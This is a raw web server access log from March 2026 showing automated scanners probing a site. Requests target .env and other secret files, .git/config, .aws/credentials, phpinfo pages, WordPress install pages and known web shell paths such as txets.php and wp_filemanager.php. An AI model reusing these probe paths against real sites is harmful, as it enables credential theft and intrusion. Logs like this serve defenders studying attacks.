"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:41:56 +0300] "GET /new/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:42:33 +0300] "GET /wordpress/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:43:37 +0300] "GET /site/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.61.40.100 - - [25/Mar/2026:06:28:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:05 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:11 +0300] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:17 +0300] "GET /.env.staging HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:22 +0300] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:28 +0300] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:34 +0300] "GET /.env.save HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:40 +0300] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:46 +0300] "GET /backend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:52 +0300] "GET /frontend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:58 +0300] "GET /.env.local HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:04 +0300] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /dev/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /admin/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /v2/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /wp/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /test/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /app/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /backup/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /site/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /api/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:10 +0300] "GET /new/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 91.234.6.161 - - [25/Mar/2026:08:20:11 +0300] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 194.26.192.111 - - [25/Mar/2026:07:41:27 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 121.229.185.160 - - [25/Mar/2026:09:19:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.111 - - [25/Mar/2026:07:41:26 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [25/Mar/2026:07:41:27 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [25/Mar/2026:07:41:27 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [25/Mar/2026:07:41:27 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [25/Mar/2026:07:41:27 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.111 - - [25/Mar/2026:07:41:27 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.234.6.161 - - [25/Mar/2026:08:19:05 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 52.90.9.219 - - [25/Mar/2026:06:35:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 52.90.9.219 - - [25/Mar/2026:06:35:57 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 223.68.84.109 - - [25/Mar/2026:07:14:08 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 176.65.132.19 - - [25/Mar/2026:08:52:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.228.157.37 - - [25/Mar/2026:09:30:33 +0300] "GET /plugins/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 194.26.192.111 - - [25/Mar/2026:07:41:27 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.151.2.242 - - [25/Mar/2026:06:37:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 194.26.192.111 - - [25/Mar/2026:07:41:27 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.128.156.69 - - [25/Mar/2026:13:05:07 +0300] "GET /back/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:05:07 +0300] "POST /back/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:14:28 +0300] "POST /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:30:15 +0300] "POST /admin-app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:34:36 +0300] "POST /local/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:36:36 +0300] "POST /.env.project HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:37:32 +0300] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:28 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 49.51.73.183 - - [25/Mar/2026:15:12:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.165.189.110 - - [25/Mar/2026:10:26:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.96.180 - - [25/Mar/2026:10:39:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.128.156.69 - - [25/Mar/2026:13:13:36 +0300] "GET /.env.dist HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:13:36 +0300] "POST /.env.dist HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:18:33 +0300] "POST /system/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:32:45 +0300] "GET /enviroments/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:36:47 +0300] "GET /core/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:37:43 +0300] "GET /docker/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:37:43 +0300] "POST /docker/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 116.76.38.229 - - [25/Mar/2026:10:21:28 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4021.157 UBrowser/6.2.3964.2 Safari/537.36" 84.54.23.137 - - [25/Mar/2026:10:38:42 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.128.156.69 - - [25/Mar/2026:13:22:07 +0300] "GET /cms/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:26:50 +0300] "POST /rest/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:31:06 +0300] "GET /cp/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:35:21 +0300] "GET /shared/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:00 +0300] "GET /private/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:21 +0300] "GET /debug/default/view?panel=config HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:28 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 34.202.9.124 - - [25/Mar/2026:15:39:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 51.103.36.25 - - [25/Mar/2026:12:26:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.128.156.69 - - [25/Mar/2026:13:08:04 +0300] "POST /laravel/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:14:28 +0300] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:22:08 +0300] "POST /cms/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:27:53 +0300] "GET /live_env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:37:19 +0300] "POST /script/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:06 +0300] "POST /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:24 +0300] "GET /config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:26 +0300] "GET /.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:29 +0300] "GET /?phpinfo=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 20.166.31.118 - - [25/Mar/2026:15:20:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.130.40.120 - - [25/Mar/2026:11:13:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.128.156.69 - - [25/Mar/2026:13:24:35 +0300] "POST /.env.save HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:27:53 +0300] "POST /live_env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:30:14 +0300] "GET /admin-app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:34:20 +0300] "POST /.env.prod HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:34:51 +0300] "GET /apps/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:34:52 +0300] "POST /apps/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:37:26 +0300] "GET /development/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:01 +0300] "POST /private/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:06 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:15 +0300] "GET /frontend_dev.php/$ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 51.103.250.122 - - [25/Mar/2026:14:16:38 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.128.156.69 - - [25/Mar/2026:13:30:40 +0300] "GET /application/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:30:41 +0300] "POST /application/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:35:21 +0300] "POST /shared/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:36:12 +0300] "GET /.env.old HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:36:47 +0300] "POST /core/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:03:05 +0300] "GET /enviroments/.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:03:05 +0300] "POST /enviroments/.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:08:04 +0300] "GET /laravel/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:20:46 +0300] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:24:34 +0300] "GET /.env.save HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:26:17 +0300] "GET /.env.development HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:26:18 +0300] "POST /.env.development HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:26:49 +0300] "GET /rest/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:29:21 +0300] "GET /fedex/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:31:06 +0300] "POST /cp/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:34:19 +0300] "GET /.env.prod HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:37:32 +0300] "POST /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 20.250.9.161 - - [25/Mar/2026:11:59:00 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.128.156.69 - - [25/Mar/2026:13:03:05 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "python-requests/2.28.1" 45.128.156.69 - - [25/Mar/2026:13:18:32 +0300] "GET /system/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:20:46 +0300] "POST /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:23:59 +0300] "GET /sources/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:24:00 +0300] "POST /sources/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:29:21 +0300] "POST /fedex/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:32:45 +0300] "POST /enviroments/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:34:36 +0300] "GET /local/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:36:13 +0300] "POST /.env.old HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:36:36 +0300] "GET /.env.project HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:37:19 +0300] "GET /script/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:37:26 +0300] "POST /development/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.128.156.69 - - [25/Mar/2026:13:38:29 +0300] "GET /_profiler/phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 141.98.11.169 - - [25/Mar/2026:14:15:21 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 141.98.11.17 - - [25/Mar/2026:14:44:16 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.130.31.17 - - [25/Mar/2026:15:57:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.124.84.249 - - [25/Mar/2026:15:53:37 +0300] "GET / HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 89.124.84.249 - - [25/Mar/2026:15:53:38 +0300] "GET / HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 57.141.0.34 - - [25/Mar/2026:16:55:45 +0300] "GET /robots.txt 